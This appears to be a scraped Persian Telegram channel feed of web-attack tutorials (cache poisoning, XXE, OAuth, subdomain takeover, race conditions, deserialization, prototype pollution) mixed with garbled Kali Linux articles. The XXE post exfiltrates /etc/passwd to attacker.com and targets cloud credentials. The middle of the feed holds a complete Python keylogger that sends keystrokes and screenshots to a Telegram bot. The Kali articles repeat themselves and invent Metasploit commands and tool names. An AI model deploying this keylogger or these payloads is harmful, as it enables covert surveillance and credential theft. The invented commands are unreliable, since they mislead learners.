Kali Linux برای تجربیه در تجربی استفادهمیكنند. این ابزارها و ابزارها را میتوان برای تجربیه در تجربی استفادهكنند:
1. **Wireshark**: برای تجربیه شبکهها.
2. **Ettercap**: برای تجربیه پروتاکلها.
3. **Burpsus**: برای تجربیه پروتاکلها.
4. **Sqlmap**: برای تجربیه اسنیکها.
5. **Burpsus**: برای تجربیه پروتاکلها.
**تجربیه در تجسم**
Kali Linux برای تجربیه در تجسم استفادهميكنند. این ابزارها و ابزارها را میتوان برای تجربیه در تجسم استفادهكنند:
1. **John the Ripper**: برای تجربیه رمزها.
2. **Nmap**: برای کشف و کشف منابع شبکه.
3. **Wireshark**: برای تجربیه شبکهها.
4. **Burpsus**: برای تجربیه پروتاکلها.
5. **Sqlmap**: برای تجربیه اسنیکها.
**مثال**
برای تجربیه در تجسما سازی از دستور زیر استفادهكنید:
```
sudo apt update
```
**هیئتهای مرتبط**
Kali Linux به شما کمک میکند تا در امنیت سایبری با خیال آسودهباشید.
با در دسترسترین ابزارها برای تجربیه استفادهكنید.
**منابع**
برای این مقاله، هیچ منبع خاصی نیازی به است.
**هشتگ**
#KaliLinux #Security #Hacking #Network #Tools #Tutorial #Training #CyberSecurity #PenetrationTesting #EthicalHacking #Linux #Network #Security
#Ai #KaliLinux #CyberSecurity
4 366
Cache Poisoning، حملهای که همه کاربرا رو مسموم میکنه
فرض کن یه سایت داره CDN.
CDN صفحات رو کش میکنه تا سریعتر لود شه.
حالا مهاجم میاد، یه درخواست خاص میفرسته:
GET /?utm_source=evil.com HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
سرور یه پاسخ میده که تو اون:
<script src="https://evil.com/script.js"></script>
یعنی سرور از X-Forwarded-Host استفاده کرد برای ساختن URL.
CDN این پاسخ رو کش میکنه.
حالا هر کاربری که سایت رو باز کنه، همین پاسخ رو میگیره.
اسکریپت evil.com رو مرورگرش لود میکنه.
فاجعه.
انواع Cache Poisoning:
۱. Unkeyed Header Injection
هدری که تو Cache Key نیست، ولی تو پاسخ استفاده میشه.
X-Forwarded-Host: evil.com
X-Forwarded-Scheme: nothttps
X-Host: evil.com
X-Original-URL: /admin
۲. Unkeyed Cookie
Cookie: session=xyz
اگه پاسخ به این کوکی وابسته باشه ولی تو Cache Key نباشه:
GET /?cb=123 HTTP/1.1
Cookie: role=admin
۳. Cache Deception
https://target.com/profile.css
سرور فکر میکنه فایل استاتیکه، کش میکنه.
ولی در واقع پروفایل کاربر لاگین شده رو نشون میده.
حالا CDN پاسخ کاربر A رو به کاربر B میده.
۴. Fat GET
GET /?param=value HTTP/1.1
Content-Length: 15
body=injected
بعضی سرورها بدنه GET رو هم میخونن، ولی CDN فقط URL رو کش میکنه.
پیدا کردنش:
یه پارامتر رندوم بذار:
GET /?cb=1234567
بعد دوباره بزن:
GET /?cb=1234567
اگه پاسخ از cache اومد (هدر X-Cache: HIT)،
یعنی cache key فقط URL هست.
حالا ببین کدوم هدرها تو پاسخ اثر دارن.
پیلود واقعی:
GET /?cb=123 HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
بعد بفرست:
GET /?cb=123
اگه Cache Hit شد و پاسخ به attacker.com اشاره داشت،
حمله موفق بوده.
دفاع:
همه هدرهای موثر تو پاسخ رو تو Cache Key بذار.
X-Forwarded-Host رو نادیده بگیر.
Vary هدر مناسب ست کن.
#ℳℴ𝒷𝒾𝓃
4 366
**درباره Kali Linux**
Kali Linux یک توزیع از نوع لینوکس است که برای امنیت سایبری، نفوذ گزاری و هکینگ روشی طراحی شده است. این توزیع در ابتدا برای استفاده هایزت و نفوذ گزاری طراحی شد و به مرور در سالهای اخیر به توزیع هایزت و امنیت سایبری تبدیل شد.
**ویروس هایزت (Metasploit)**
Metasploit یک محیط امنیتی است که برای نفوذ گزاری و هکینگ روشی طراحی شده است. در این توزیع میتوان با استفاده از ویروسها به سیستمهای مورد نظر نفوذ گزاری کرد.
در Kali Linux یک توزیع، دستور `sudo metasploit-list` استفاده میشود که در آن میتوان تا ویروسها را فهرست کرد و نفوذ گزاری کرد.
**نمونه دستور برای فهرست ویروسها**
```markdown
sudo metasploit-list
```
در این دستور، دستور `sudo metasploit-list` استفاده شده است که ویروسها را فهرست کند و تا ویروسها نفوذ گزاری شده است.
**نکاتیوهای مورد نظر**
در Kali Linux یک توزیع، دستور `sudo metasploit-modules` استفاده میشود که در آن میتوان تا ویروسهای مربوط به سیستمهای مورد نظر نفوذ گزاری کرد.
در Kali Linux یک توزیع، دستور `sudo metasploit-modules add` استفاده میشود که به ویروسهای جدید اضافه کند و در Kali Linux یک توزیع، دستور `sudo metasploit-modules remove` استفاده میشود که تا ویروسهای خاصی حذف کند.
**درخواستی برای ویروسهای خاصی**
با استفاده از دستور `sudo metasploit-modules set` به ویروسهای خاصی اضافه یا حذف شود، در Kali Linux یک توزیع.
در Kali Linux یک توزیع، دستور `sudo metasploit-modules set` استفاده میشود که میتوان تا ویروسهای خاصی به ویروسهای دیگر اضافه یا حذف کرد.
توصیرهای مورد نظر، در Kali Linux یک توزیع، دستور `sudo metasploit-modules enable` استفاده میشود که ویروسهای خاصی فعال شوند. در Kali Linux یک توزیع، دستور `sudo metasploit-modules disable` استفاده میشود که ویروسهای خاصی غیرفعال شوند.
**ویروسهای فعال و غیرفعال**
در Kali Linux یک توزیع، دستور `sudo metasploit-modules enable` استفاده میشود که ویروسهای خاص را فعال کند و دستور `sudo metasploit-modules disable` استفاده میشود که ویروسهای خاص را غیرفعال کند.
**نتیجه کار با Metasploit**
در Kali Linux یک توزیح، دستور `sudo metasploit-modules exploit <NAME>` استفاده میشود که ویروس مورد نظر را هک کند و در Kali Linux یک توزیح، دستور `sudo metasploit-modules exploit <NAME>` استفاده میشود که ویروس مورد نظر را هک کند.
در Kali Linux یک توزیح، دستور `sudo metasploit-modules exploit <NAME> -h <OPTIONS>` استفاده میشود که ویروس مورد نظر را هک کند و با استفاده از ویروسهای خاصی، دستور `sudo metasploit-modules exploit <NAME> -h <OPTIONS>` استفاده میشود که ویروس مورد نظر را هک کند.
**نتیجه کار با Metasploit**
در Kali Linux یک توزیح، دستور `sudo metasploit-modules exploit <NAME>` استفاده میشود که ویروس مورد نظر را هک کند.
**درباره Kali Linux یک توزیح**
در Kali Linux یک توزیح، دستور `sudo metasploit-modules add <NAME> <OPTIONS>` استفاده میشود که ویروس مورد نظر را اضافه کند. در Kali Linux یک توزیح، دستور `sudo metasploit-modules remove <NAME>` استفاده میشود که تا ویروس مورد نظر را حذف کند.
**نتیجه کار با Kali Linux یک توزیح**
در Kali Linux یک توزیح، دستور `sudo metasploit-modules add <NAME> <OPTIONS>` استفاده میشود که ویروس مورد نظر را اضافه کند.
**درباره Kali Linux یک توزیح**
در Kali Linux یک توزیح، دستور `sudo metasploit-modules add <NAME> <OPTIONS>` استفاده میشود که ویروس مورد نظر را اضافه کند.
**ویروسهای فعال**
در Kali Linux یک توزیح، دستور `sudo metasploit-modules enable <NAME>` استفاده میشود که ویروسهای فعال شوند.
**ویروسهای غیرفعال**
در Kali Linux یک توزیح، دستور `sudo metasploit-modules disable <NAME>` استفاده میشود که ویروسهای غیرفعال شوند.
**نتیجه کار با Kali Linux یک توزیح**
در Kali Linux یک توزیح، دستور `sudo metasploit-modules enable <NAME>` استفاده میشود که ویروسهای مورد نظر فعال شوند.
در Kali Linux یک توزیح، دستور `sudo metasploit-modules disable <NAME>` استفاده میشود که ویروسهای مورد نظر غیرفعال.pet
#Ai #KaliLinux #CyberSecurity
4 366
**تست نفوذ، تهاجمه یا Ethical Hacking**
**تست نفوذ، به اختصار Ethical Hacking، روشی برای تست امنیت یک سیستم یا شبکه است. Ethical Hacking یک روشی از امنیت است، نه برای تخریب یا تخطعی. یک هکر یا Ethical Hacker کسی است که امنیت شبکهها و سیستمها را با هدف تسلطه و تست، برای شناسایابی نقاط ضعف و افزایش امنیت آنها، برآورده است. هکرهای Ethical، شبکهها را با یک روش علمی تستیابی، برای شناسایابی نقاط ضعف و افزایش امنیت، بدون هدف تخریب یا سوء استفاده، برآوردهاند.
**تاریخچه Ethical Hacking**
تاریخچه Ethical Hacking از زمان ظهور شبکهها و اینترنت آغاز شده. در ابتدا، شبکهها و سیستمها، با هدف امنیت، در مقابل هکرها قرار داشتند.اما با پیشرف روز، امنیت شبکهها، با استفاده از روش Ethical Hacking، بیشتر مورد توجه قرار گرفت. Ethical Hacking یک روشی برای امنیت شبکهها است که از یک روش علمی استفاده میکند. این روش برای شناسایی نقاط ضعف و افزایش امنیت شبکهها، بدون هدف تخریب یا سوء استفاده، برآورده است.
**تست نفوذ، چه چی است؟**
تست نفوذ یا Ethical Hacking، یک روشی برای تست امنیت شبکهها یا سیستمها است. یک هکر یا Ethical Hacker کسی است که با هدف تسلطه، شبکهها را تست کرده و نقاط ضعف را شناسایی کند. با استفاده از یک روش علمی، شبکهها را تست میکند. این روش، بدون هدف تخریب یا سوء استفاده، برای شناسایی نقاط ضعف و افزایش امنیت شبکهها، برآورده است.
**مکانیزمنظم تست نفوذ**
مکانیزمنزمون تست نفوذ یا Ethical Hacking این است که این روشی برای تست، تسلطه، شناسایی نقاط ضرف، افزایش امنیت است. شبکهها را تست، بدون هدف تخریب یا سوء استفاده، برای شناسایی نقاط ضعف و افزایش امنیت برآورده است.
**روشهای تست نفوذ**
تست نفوذ یا Ethical Hacking، با چند روش انجام میشود. این روشها عبارت است از:
1. **تست نفوذ شبکه**: شبکهها را تست میکند. نقاط ضعف را شناسایی میکند.
2. **تست نفوذ سیستم**: سیستمها را تست میکند. نقاط ضعف را شناسایی میکند.
3. **تست نفوذ نرمافزار**: نرمافزارها را تست میکند. نقاط ضعف را شناسایی میکند.
**استفاده از Kali Linux**
Kali Linux یک توزیع از Linux است که برای تست نفوذ استفاده میشود. Ethical Hacking، در محیطهای تحت کنترل، آزمایشگاهی، و آموزشی، استفاده میشود. Kali Linux، با ابزارهای Ethical Hacking، شبکهها را تست میکند. Kali Linux، به عنوان یک ابزار، برای تست نفوذ، در دسترس است.
**مثالهای Ethical Hacking**
مثالهای Ethical Hacking، برای تست نفوذ، استفاده میشوند. Ethical Hacking، بدون هدف تخریب یا سوء استفاده، برای شبکهها، تست نفوذ، انجام میشود.
1. **تست نفوذ شبکه**: NetworkX
2. **تست نفوذ سیستم**: Metaspace
3. **تست نفوذ نرمافزار**: Metasploit
**نکاتی که Ethical Hacking باید داشته باشد**
نکاتی که Ethical Hacking باید داشته باشد، عبارت است از:
1. **تسلطه**: Ethical Hacking، بدون هدف تخریب یا سوء استفاده است.
2. **نقطه**: Ethical Hacking، برای شناسایی نقاط ضعف است.
3. **تست نفورد**: Ethical Hacking، برای تست نفورد است.
4. **تست نفود**: Ethical Hacking، برای تست نفود است.
5. **تست نفوذ**: Ethical Hacking، برای تست نفوذ است.
**مثالهایی که Ethical Hacking نباید داشته باشد**
مثالهایی که Ethical Hacking نباید داشته باشد، عبارت است از:
1. **تخریب شبکه**: Ethical Hacking، بدون هدف تخریب است.
2. **سوء استفاده**: Ethical Hacking، بدون هدف سوء استفاده است.
3. **تست نفوذ به اهداف خصوصی**: Ethical Hacking، فقط برای شبکهها یا سیستمها است، نه برای اهداف خصوصی.
4. **تست نفورد با سوء استفاده**: Ethical Hacking، بدون هدف سوء استفاده است.
**زبان این مقاله**
زبان این مقاله فارسی است.
#Ai #KaliLinux #CyberSecurity
4 366
**تستی نفوذ و Ethical Hacking: یک راهنمایابی**
تستی نفوذ یا Ethical Hacking یک رویکه برای ارزیابی سیستمهای شبکه و پیدا کردن نقاط ضعف آنها است. در این مقاله میآموزیم این مفهوم را توجیع و بهتستری و بهصورت یک سناریو در Kali Linux تشریحیم.
**تستی نفوذ و Ethical Hacking: چیست؟**
تستی نفوذ یا Ethical Hacking یک رویکه است که برای پیدا کردن نقاط ضعف در سیستمهای شبکه استفاده میشود. در واقع این تکنیک برای پیدا کردن نقاط ضعف در سیستمها، بدون هدف تقلیل و با هدف بالا ردنگی است. این رویکه به متخصصین این حوزه کمک میکند تا نقاط ضعف را پیدا کنند و جلوی آنها را برطرف کنند.
**تست نفوذ در Kali Linux**
Kali Linux یک محیط تستی نفوذ است که در آن میتوان به سادگی یک تستی نفوذ انجام داد. این ابزارها شامل:
* **Metasploit**: این ابزار برای پیدا کردن نقاط ضعف در سیستمهای شبکه استفاده میشود.
* **OWASP**: این ابزار برای ارزیابی نقاط ضعف در سیستمها استفاده میشود.
* **Burpsuite**: این ابزار برای پیدا کردن نقاط ضعف در سامانههای مجازی استفاده میشود.
* **John the Ripper**: این ابزار برای پیدا کردن نقاط ضعف در سامانههای مجازی در سیستمهای Linux استفاده میشود.
**سناریوی Tasty نفوذ**
برای تستی نفوذ، میتوان سناریوهای مختلفی را انجام داد. یکی از آنها سناریویی که برای پیدا کردن نقاط ضعف در سامانههای مجازی است. در این سناریو، تستی نفوذ میتواند شامل موارد زیر باشد:
* **بررسیهای امنیتی**: این سناریو شامل بررسیهای امنیتی برای پیدا کردن نقاط ضعف در سامانههای مجازی است.
* **تست نفوذ**: این سناریو شامل تست نفوذ برای پیدا کردن نقاط ضعف در سامانههای مجازی است.
* **پشتیبانیها**: این سناریو شامل پشتیبانی برای پیدا کردن نقاط ضعف در سامانههای مجازی است.
**نتیجهگیری**
تستی نفوذ یا Ethical Hacking یک رویکه برای پیدا کردن نقاط ضعف در سامانههای مجازی است. این رویکه به متخصصین این حوزه کمک میکند تا نقاط ضعف را پیدا کنند و جلوی آنها را برطرف کنند. Kali Linux یک محیط تستی نفوذ است که در آن میتوان به سادگی یک تستی نفوذ انجام داد. سناریوهای مختلفی برای تستی نفوذ وجود دارند، از جمله بررسیهای امنیتی، تست نفوذ، و پشتیبانیها.
**مثالها برای تستی نفوذ**
برای تستی نفوذ، برخی از مثالها عبارتندند:
* **بررسیهای امنیتی**: فرض کنید که یک سامانه مجازی را دارید. در این شرایط، میتوان برای پیدا کردن نقاط ضعف آن، یک بررسی امنیتی انجام داد. در واقع، میتوان از ابزارهای مختلف برای پیدا کردن نقاط ضعف در سامانه مجازی استفاده کرد.
* **تست نفوذ**: فرض کنید که یک سامانه مجازی را دارید و میخواهی نقاط ضعف آن را پیدا کنی. در این شرایط، میتوان برای پیدا کردن نقاط ضعف آن، یک تست نفوذ انجام داد. در واقع، میتوان از ابزارهای مختلف برای پیدا کردن نقاط ضعف در سامانه مجازی استفاده کرد.
* **پشتیبانی:** فرض کنید که یک سامانه مجازی را دارید و میخواهی نقاط ضعف آن را پیدا کنی. در این شرایط، میتوان برای پیدا کردن نقاط ضعف آن، یک پشتیبانی انجام داد. در واقع، میتوان از ابزارهای مختلف برای پیدا کردن نقاط ضعف در سامانه مجازی استفاده کرد.
**نتیجه**
تستی نفوذ یا Ethical Hacking یک رویکه برای پیدا کردن نقاط ضعف در سامانههای مجازی است. این رویکه به متخصصین این حوزه کمک میکند تا نقاط ضعف را پیدا کنند و جلوی آنها را برطرف کنند. Kali Linux یک محیط تستی نفوذ است که در آن میتوان به سادگی یک تستی نفوذ انجام داد. سناریوهای مختلفی برای تستی نفوذ وجود دارند، از جمله بررسیهای امنیتی، تست نفوذ، و پشتیبانیها.
#Ai #KaliLinux #CyberSecurity
4 366
**عنوان:** تست نفوذ در شبکه: یک روش بهنگار برای امنیت سایبری
**متن:**
تست نفوذ (Penetration Test) یک روش بهنگار برای امنیت سایبری است که در آن، یک هکر یا متخصص شبکه به یک شبکه سایبی، با هدف تشخیص نقاط ضعف آن، نفوذ و آسیبهای بالقوه را شناسایی و در نتیجه، راههای جلوگیری را پیشنهاد میکند. این روش در تست نفوذ، بهصورت یک چارچ برای تست امنیت شبکه، با تمرکز بر روی نقاط ضعف و آسیبهای بالقبه است.
**تست نفوذ در چیست؟**
تست نفوذ یک روش بهنگار است که هدفش، شناسایی نقاط ضرفت در شبکه سایبی است. این روش شامل شناسایی نقاط ضعف و آسیبهای بالقبه از نظر فنی، نفوذ به شبکه، و شناسایی نقاط ضعف و آسیبهای بالقبه است. این روش در تست نفوذ، بهصورت یک چارچ برای تست امنیت شبکه، با تمرکز بر روی نقاط ضرف و آسیبهای بالقبه است.
**چشم**
در تست نفوذ، هکر یا متخصص شبکه سعی میکند که نقاط ضعفی در شبکه را شناسایی و شناسایی. این کار، در تست نفوذ، شامل:
* **شناسایی نقاط ضعفی**: شناسایی نقاط ضعف در شبکه، مانند هابهای باز، هابهای بسته، هابهای فاقد و هابهای رمز شده، و هابهای رمز نشده است.
* **شناسایی نقاط آسیب**: شناسایی آسیبهای بالقبه در شبکه، مانند هابهای رمز شده، هابهای فاقد، هابهای هک شده، و هابهای رمز نشده است.
**مرحله**
در تست نفوذ، شناسایی نقاط ضعفی و آسیبهای بالقبه در شبکه سایبی، و در نتیجه، راههای جلوگیری را پیشنهاد میکنیم. این روش در تست نفوذ، بهصورت یک چارچ برای تست امنیت شبکه، با تمرکز بر روی نقاط ضعفی و آسیبهای بالقبه است.
**مثالها**
در تست نفوذ، یک مثال ساده برای شناسایی نقاط ضعفی، میتوان در شبکه، یک هاب باز یا یک هاب باز را تست کرد. این تست نشان میدهد که نقاط ضعفی در هاب باز، در شبکه، شناسایی میشود.
در تست نفوذ، یک مثال برای شناسایی آسیبهای بالقبه در شبکه، میتوان یک هاب باز را تست کرد. این تست نشان میدهد که آسیبهای بالقبه در هاب باز، در شبکه، شناسایی میشود.
**نتیجه**
در تست نفوذ، شناسایی نقاط ضعفی و آسیبهای بالقبه در شبکه سایبی، و در نتیجه، راههای جلوگیری را پیشنهاد میکنیم. این روش در تست نفوذ، بهصورت یک چارچ برای تست امنیت شبکه، با تمرکز بر روی نقاط ضعفی و آسیبهای بالقبه است.
**نکاتیب**
در تست نفوذ، یک نکتِب برای شناسایی نقاط ضعفی و آسیبهای بالقبه در شبکه سایبی، میتوان در تست نفوذ، یک روش برای شناسایی نقاط ضعفی و آسیبهای بالقبه استفاده کرد. این روش شامل شناسایی نقاط ضعفی و آسیبهای بالقبه است.
**نتیجه**
در تست نفوذ، شناسایی نقاط ضعفی و آسیبهای بالقبه در شبکه سایبی، و در نتیجه، راههای جلوگیری را پیشنهاد میکنیم. این روش در تست نفوذ، بهصورت یک چارچ برای تست امنیت شبکه، با تمرکز بر روی نقاط ضعفی و آسیبهای بالقبه است.
#Ai #KaliLinux #CyberSecurity
4 366
XXE، وقتی XML بهت اجازه خوندن فایل رو میده
XML یه قابلیت داره به اسم Entity.
میتونی با یه entity، یه مقدار رو چند جا استفاده کنی.
<!DOCTYPE foo [
<!ENTITY example "hello">
]>
<root>&example;</root>
حالا entity میتونه external هم باشه:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
اگه سرور این XML رو پردازش کنه،
محتوای /etc/passwd رو بهت برمیگردونه.
این به تنهایی فاجعهست.
ولی میتونی بری جلوتر.
Blind XXE با OOB:
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
evil.dtd روی سرور مهاجم:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?%file;'>">
%all;
حالا سرور قربانی، محتوای /etc/passwd رو به سرور تو میفرسته.
حتی اگه هیچ چیزی بهت نشون نده.
با PHP Wrapper:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root>&xxe;</root>
محتوای فایل base64 میشه.
چون ممکنه XML با کاراکترهای خاص مشکل داشته باشه.
یا با php://expect:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>
اگه expect نصب باشه، فرمان اجرا میشه.
SSRF با XXE:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
میره سراغ Metadata ابری.
ممکنه Credentials AWS رو بگیری.
دفاع:
Disable external entities تو Parser.
از فرمتهای دیگه مثل JSON استفاده کن.
Parser رو آپدیت کن.
#ℳℴ𝒷𝒾𝓃
4 366
OAuth، پیچیدهترین سیستم احراز هویت و رایجترین باگش
OAuth چیکار میکنه؟
به یه سایت میگی: "من به تو اجازه میدم از طرف من با گوگل حرف بزنی."
جریان استاندارد:
1. کاربر → درخواست لاگین به target.com
2. target.com → کاربر رو میفرسته به accounts.google.com
3. کاربر → به گوگل لاگین میکنه
4. گوگل → یه کد به target.com میده
5. target.com → با کد، یه توکن از گوگل میگیره
6. target.com → با توکن، اطلاعات کاربر رو میگیره
باگهای رایج:
۱. Open Redirect in redirect_uri
اگه سرور redirect_uri رو اعتبارسنجی نکنه:
https://target.com/oauth/callback?redirect_uri=https://evil.com
توکن میره به evil.com.
۲. CSRF در OAuth
اگه state نداشته باشه یا ثابت باشه،
مهاجم یه درخواست لاگین جعل میکنه که به اکانت مهاجم وصل شه.
قربانی وارد میشه، ولی به حساب مهاجم لاگین میشه.
۳. Implicit Flow
توکن مستقیم تو URL میاد.
تاریخچه مرورگر، Referer، لاگها همه میبیننش.
۴. PKCE نبودن
تو Public Client ها، اگه PKCE نداشته باشه،
کد رهگیری میشه.
۵. Account Linking
اگه یه سایت چند تا روش لاگین داره،
مهاجم میتونه حساب قربانی رو به حساب خودش لینک کنه.
دفاع:
redirect_uri رو دقیقاً match کن، نه با regex.
state رندوم و یکبار مصرف.
PKCE رو حتماً استفاده کن.
از Authorization Code Flow استفاده کن، نه Implicit.
#ℳℴ𝒷𝒾𝓃
4 366
دستور های کاربردی شبکه ویندوز
#CyberSecurity #Network #Windows #Coding #Internet #ᴛʏɢᴇʀ_ꜱᴘɪʀᴇ
4 366
Subdomain Takeover، وقتی زیردامنه رو میدزدی
یه شرکت، دامنه اصلیشو داره: company.com
زیردامنه هم داره: status.company.com
این زیردامنه رو تو DNS به یه سرویس خارجی وصل کرده.
مثلاً به یه Heroku app یا GitHub Pages.
بعد چند سال، اون سرویس رو کنسل میکنه.
ولی رکورد DNS هنوز باقیه.
CNAME: status.company.com → old-app.herokuapp.com
حالا مهاجم میاد:
old-app.herokuapp.com رو خودش ثبت میکنه.
نتیجه:
status.company.com الان مال مهاجمه.
میتونه هر چی میخواد نشون بده.
چرا خطرناکه؟
کوکیهای company.com به همه زیردامنهها فرستاده میشن.
مهاجم با یه صفحه قلابی، کوکیها رو میدزده.
یا یه صفحه لاگین جعلی میذاره.
کارمندا فکر میکنن سایت خودشونه.
یا ایمیل میفرسته از اون دامنه.
SPF و DKIM ممکنه پاس شه چون دامنه معتبره.
پیدا کردنش:
subfinder -d company.com -silent | httpx -silent -status-code
اگه یه زیردامنه 404 داد، یعنی احتمالاً سرویس وصل نیست.
بعد با یه ابزار مثل nuclei چک کن:
nuclei -t takeovers/ -u https://status.company.com
پیلود ساده برای تست:
curl -I https://status.company.com
اگه خروجی "No such app" یا "Not found" بود،
یعنی سرویس خارجی هست ولی وصل نیست.
پس قابل تسخیره.
دفاع:
زیردامنههای بیاستفاده رو حذف کن.
DNS رو منظم چک کن.
CNAME ها رو ببند.
#ℳℴ𝒷𝒾𝓃
4 366
import keyboard
import pyautogui
import socket
import requests
import time
import os
from threading import Thread
LOG = ""
SCREENSHOTS_DIR = "screenshots"
WEBHOOK_URL = "https://api.telegram.org/bot<токن_ربات>/sendMessage" # تغییر بده
CHAT_ID = "<آیدی_چت>" # تغییر بده
if not os.path.exists(SCREENSHOTS_DIR):
os.mkdir(SCREENSHOTS_DIR)
def send(data):
try:
requests.post(WEBHOOK_URL, data={"chat_id": CHAT_ID, "text": data})
except:
pass
def send_screenshot():
while True:
try:
filename = f"{SCREENSHOTS_DIR}/scr_{int(time.time())}.png"
pyautogui.screenshot(filename)
with open(filename, "rb") as f:
files = {'photo': f}
requests.post(f"https://api.telegram.org/bot<токن_رباط>/sendPhoto", data={'chat_id': CHAT_ID}, files=files)
os.remove(filename)
except:
pass
time.sleep(30) # هر 30 ثانیه یک اسکرین샷
def on_key_event(e):
global LOG
key = e.name
if len(key) == 1:
LOG += key
elif key == "space":
LOG += " "
elif key == "enter":
LOG += "\n"
elif key == "tab":
LOG += "\t"
else:
LOG += f"[{key}]"
if len(LOG) > 500: # هر 500 کاراکتر بفرست
send(LOG)
LOG = ""
keyboard.on_release(on_key_event)
# شروع ارسال اسکرین
Thread(target=send_screenshot, daemon=True).start()
# ارسال اطلاعات سیستم در ابتدا
hostname = socket.gethostname()
ip = socket.gethostbyname(hostname)
send(f"INFECTED: {hostname} | IP: {ip} | OS: {os.name}")
# حلقه اصلی
while True:
time.sleep(1)
یک کیلاگر تمیز
کتابخونه های مورد نیاز
pip install pynput pyautogui requests
این برای سیستم در آینده برای اندروید هم مینویسم4 366
Subdomain Takeover، وقتی زیردامنه رو میدزدی
یه شرکت، دامنه اصلیشو داره: company.com
زیردامنه هم داره: status.company.com
این زیردامنه رو تو DNS به یه سرویس خارجی وصل کرده.
مثلاً به یه Heroku app یا GitHub Pages.
بعد چند سال، اون سرویس رو کنسل میکنه.
ولی رکورد DNS هنوز باقیه.
CNAME: status.company.com → old-app.herokuapp.com
حالا مهاجم میاد:
old-app.herokuapp.com رو خودش ثبت میکنه.
نتیجه:
status.company.com الان مال مهاجمه.
میتونه هر چی میخواد نشون بده.
چرا خطرناکه؟
کوکیهای company.com به همه زیردامنهها فرستاده میشن.
مهاجم با یه صفحه قلابی، کوکیها رو میدزده.
یا یه صفحه لاگین جعلی میذاره.
کارمندا فکر میکنن سایت خودشونه.
یا ایمیل میفرسته از اون دامنه.
SPF و DKIM ممکنه پاس شه چون دامنه معتبره.
پیدا کردنش:
subfinder -d company.com -silent | httpx -silent -status-code
اگه یه زیردامنه 404 داد، یعنی احتمالاً سرویس وصل نیست.
بعد با یه ابزار مثل nuclei چک کن:
nuclei -t takeovers/ -u https://status.company.com
پیلود ساده برای تست:
curl -I https://status.company.com
اگه خروجی "No such app" یا "Not found" بود،
یعنی سرویس خارجی هست ولی وصل نیست.
پس قابل تسخیره.
دفاع:
زیردامنههای بیاستفاده رو حذف کن.
DNS رو منظم چک کن.
CNAME ها رو ببند.
#ℳℴ𝒷𝒾𝓃
4 366
Race Condition، باگی که به چشم نمیاد
فرض کن یه فروشگاه داره که هر کاربر فقط یه بار میتونه کد تخفیف بزنه.
کد تو دیتابیس اینطوری چک میشه:
1. آیا کاربر قبلاً استفاده کرده؟
2. اگه نه، کد رو اعمال کن
3. علامت بزن که کاربر استفاده کرده
حالا اگه ۱۰۰ تا درخواست همزمان بفرستی چی میشه؟
همهشون مرحله ۱ رو چک میکنن.
همه میبینن "استفاده نکرده".
همه مرحله ۲ رو اجرا میکنن.
همه تخفیف میگیرن.
این باگ تو Türkcell ترکیه استفاده شد.
میلیونها دلار ضرر.
مثال با پایتون:
import asyncio
import aiohttp
async def send():
async with aiohttp.ClientSession() as session:
await session.post(
"https://target.com/apply-coupon",
data={"coupon": "OFF50"}
)
async def main():
tasks = [send() for _ in range(50)]
await asyncio.gather(*tasks)
asyncio.run(main())
چرا کار میکنه؟
چون بین خوندن و نوشتن، یه تاخیر کوچیک هست.
اگه بتونی ۵۰ تا درخواست رو تو اون تاخیر بفرستی،
همهشون روی هم میافتن.
مثال دیگه:
انتقال پول.
موجودی: ۱۰۰۰ تومان.
دو تا انتقال همزمان ۱۰۰۰ تومان.
دیتابیس میگه: کافیه، کافیه.
هر دو انجام میشن.
حالا -۱۰۰۰ تومان داری.
دفاع:
از Lock استفاده کن.
Transaction با Isolation مناسب.
از Atomic Operations استفاده کن.
Rate Limit بذار.
#ℳℴ𝒷𝒾𝓃
4 366
Deserialization، خطرناکترین باگ دنیا
وقتی یه آبجکت رو ذخیره یا ارسال میکنی، Serialize میشه.
وقتی میخونی، Deserialize میشه.
اگه داده Serialize شده از کاربر بیاد و بدون چک Deserialize شه، فاجعه.
Java:
ObjectInputStream.readObject()
پیلود با ysoserial:
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin
حالا payload.bin رو بفرست به سرور.
باز کردنش یعنی اجرای calc.exe.
. NET:
BinaryFormatter.Deserialize()
پیلود با ysoserial.net:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
Python:
pickle.loads()
import pickle
import os
class Evil:
def reduce(self):
return (os.system, ("id",))
payload = pickle.dumps(Evil())
# این رو بفرست به سرور
# وقتی unpickle بشه، id اجرا میشه
PHP:
unserialize()
class Evil {
function __destruct() {
system($this->cmd);
}
}
$payload = serialize(new Evil());
// وقتی unserialize بشه، __destruct اجرا میشه
چرا این خطرناکترینه؟
چون مستقیم RCE میشه.
بدون نیاز به هیچ مرحله دیگه.
دفاع:
هرگز داده serialize شده از کاربر نگیر.
اگه مجبوری، از format های امن مثل JSON استفاده کن.
تو Java، ObjectInputFilter رو فعال کن.
تو Python، از pickle استفاده نکن. از json برو.
#ℳℴ𝒷𝒾𝓃
4 366
Prototype Pollution، باگ عجیب جاوااسکریپت
جاوااسکریپت یه چیز عجیب داره به اسم prototype.
هر آبجکت، یه prototype داره که ازش ارث میبره.
مثل:
let obj = {}
obj.proto
اگه بتونی prototype اصلی (Object.prototype) رو تغییر بدی،
همه آبجکتهای برنامه تغییر میکنن.
مثال:
let user = {};
user.proto.isAdmin = true;
حالا هر آبجکت خالی توی برنامه isAdmin داره:
let newUser = {};
console.log(newUser.isAdmin); // true
حالا تو یه کتابخونه معروف:
JSON.parse('{"proto":{"isAdmin":true}}')
اگه کتابخونه باگ داشته باشه، این merge میشه با Object.prototype.
حالا همه کاربرا ادمینن.
حمله واقعی:
سال ۲۰۱۹ تو jQuery استفاده شد.
حمله به $.extend(true, {}, input).
سال ۲۰۲۰ تو Kibana.
مهاجم تونست RCE کامل بگیره.
